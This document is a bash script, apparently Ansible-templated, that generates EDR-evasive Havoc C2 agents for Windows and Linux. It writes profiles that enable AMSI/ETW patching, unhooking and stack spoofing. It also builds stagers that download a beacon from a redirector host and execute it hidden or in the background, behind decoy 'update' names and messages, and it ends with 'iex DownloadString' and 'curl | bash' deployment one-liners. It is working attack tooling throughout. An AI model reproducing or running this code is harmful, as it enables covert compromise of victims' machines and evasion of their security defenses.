#!/bin/bash
# EDR-evasive payload generator for Havoc C2

# Configuration (automatically populated by Ansible)
PAYLOADS_DIR="/root/Tools/Havoc/payloads"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('9443') }}"
TEAMSERVER_HOST="127.0.0.1"
TEAMSERVER_PORT="40056"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_CLIENT="$HAVOC_DIR/Client/havoc"

# Ensure required directories exist
mkdir -p $PAYLOADS_DIR/windows
mkdir -p $PAYLOADS_DIR/linux
mkdir -p $PAYLOADS_DIR/staged

# Generate unique random values for each execution
random_string() { 
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}

# Define Havoc profiles for different payloads
generate_profiles() {
    echo "[+] Generating Havoc C2 profiles..."
    
    # Profile for Windows EXE
    cat > $PAYLOADS_DIR/win_exe.profile << EOF
{
    "Listener": "https",
    "Demon": {
        "Sleep": 5,
        "SleepJitter": 30,
        "IndirectSyscalls": true,
        "Inject": {
            "AllocationMethod": 0,
            "ExecutionMethod": 0,
            "ExecuteOptions": 0
        },
        "Evasion": {
            "StackSpoofing": true,
            "SleazeUnhook": true,
            "AmsiEtwPatching": true
        },
        "Formats": [
            "Binary",
            "Shellcode"
        ]
    }
}
EOF

    # Profile for Linux ELF
    cat > $PAYLOADS_DIR/linux_elf.profile << EOF
{
    "Listener": "https",
    "Demon": {
        "Sleep": 5,
        "SleepJitter": 30,
        "Injection": {
            "SpawnMethod": 1,
            "AllocationMethod": 1
        },
        "Formats": [
            "Binary",
            "Shellcode"
        ]
    }
}
EOF

    echo "[+] Profiles created successfully"
}

# Generate Havoc payloads with CLI arguments
generate_payloads() {
    echo "[+] Generating Havoc payloads..."
    
    # Windows EXE
    win_output="agent_win_$(random_string 8).exe"
    echo "[+] Generating Windows payload: $win_output"
    
    $HAVOC_CLIENT headless \
        --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
        --username "admin" \
        --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$PAYLOADS_DIR/win_exe.profile" \
        --format exe \
        --output "$PAYLOADS_DIR/windows/$win_output" \
        > /dev/null 2>&1
    
    # Windows DLL
    dll_output="module_$(random_string 8).dll"
    echo "[+] Generating Windows DLL: $dll_output"
    
    $HAVOC_CLIENT headless \
        --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
        --username "admin" \
        --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$PAYLOADS_DIR/win_exe.profile" \
        --format dll \
        --output "$PAYLOADS_DIR/windows/$dll_output" \
        > /dev/null 2>&1
    
    # Linux ELF
    linux_output="agent_linux_$(random_string 8)"
    echo "[+] Generating Linux payload: $linux_output"
    
    $HAVOC_CLIENT headless \
        --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \
        --username "admin" \
        --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$PAYLOADS_DIR/linux_elf.profile" \
        --format elf \
        --output "$PAYLOADS_DIR/linux/$linux_output" \
        > /dev/null 2>&1
    
    echo "[+] All payloads generated successfully!"
    
    # Return payload names for reference
    echo "$win_output:$dll_output:$linux_output"
}

# Generate PowerShell and bash stagers
generate_stagers() {
    win_output=$1
    linux_output=$2
    
    echo "[+] Generating stagers..."
    
    # PowerShell stager
    cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF
# PowerShell stager for Havoc C2
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
\$ErrorActionPreference = 'SilentlyContinue'
\$wc = New-Object System.Net.WebClient
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output"
\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe"
try {
    \$wc.DownloadFile(\$url, \$outpath)
    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
    Start-Process -WindowStyle Hidden -FilePath \$outpath
} catch {
    # Fail silently
}
EOF

    # Bash stager
    cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF
#!/bin/bash
# Linux download and execute Havoc beacon

# Download binary to /tmp with random name
TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output
chmod +x \$TMPFILE

# Execute in background
\$TMPFILE &

echo "Update complete."
EOF

    chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh
    
    echo "[+] Stagers generated successfully"
}

# Create manifest file
create_manifest() {
    payload_info=$1
    win_output=$(echo $payload_info | cut -d':' -f1)
    dll_output=$(echo $payload_info | cut -d':' -f2)
    linux_output=$(echo $payload_info | cut -d':' -f3)
    
    cat > $PAYLOADS_DIR/manifest.json << EOF
{
  "windows_exe": "$win_output",
  "windows_dll": "$dll_output",
  "linux_binary": "$linux_output",
  "redirector_host": "$REDIRECTOR_HOST",
  "redirector_port": "$REDIRECTOR_PORT",
  "c2_host": "$C2_HOST",
  "generated_date": "$(date)"
}
EOF

    echo "[+] Manifest created successfully"
}

# Create reference file
create_reference() {
    payload_info=$1
    win_output=$(echo $payload_info | cut -d':' -f1)
    dll_output=$(echo $payload_info | cut -d':' -f2)
    linux_output=$(echo $payload_info | cut -d':' -f3)
    
    cat > $PAYLOADS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST

Payloads Generated ($(date)):
- Windows EXE: $win_output
- Windows DLL: $dll_output
- Linux Binary: $linux_output

Usage:
1. Ensure your redirector is properly configured to forward requests to the C2 server
2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP
3. Test connectivity before deployment in target environment

Payload deployment:
- PowerShell:
  powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"

- Linux:
  curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF

    echo "[+] Reference file created successfully"
}

# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"

# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers

# Generate profiles
generate_profiles

# Generate payloads
payload_info=$(generate_payloads)

# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)

# Create manifest
create_manifest "$payload_info"

# Create reference
create_reference "$payload_info"

echo "[+] Havoc payload generation complete!"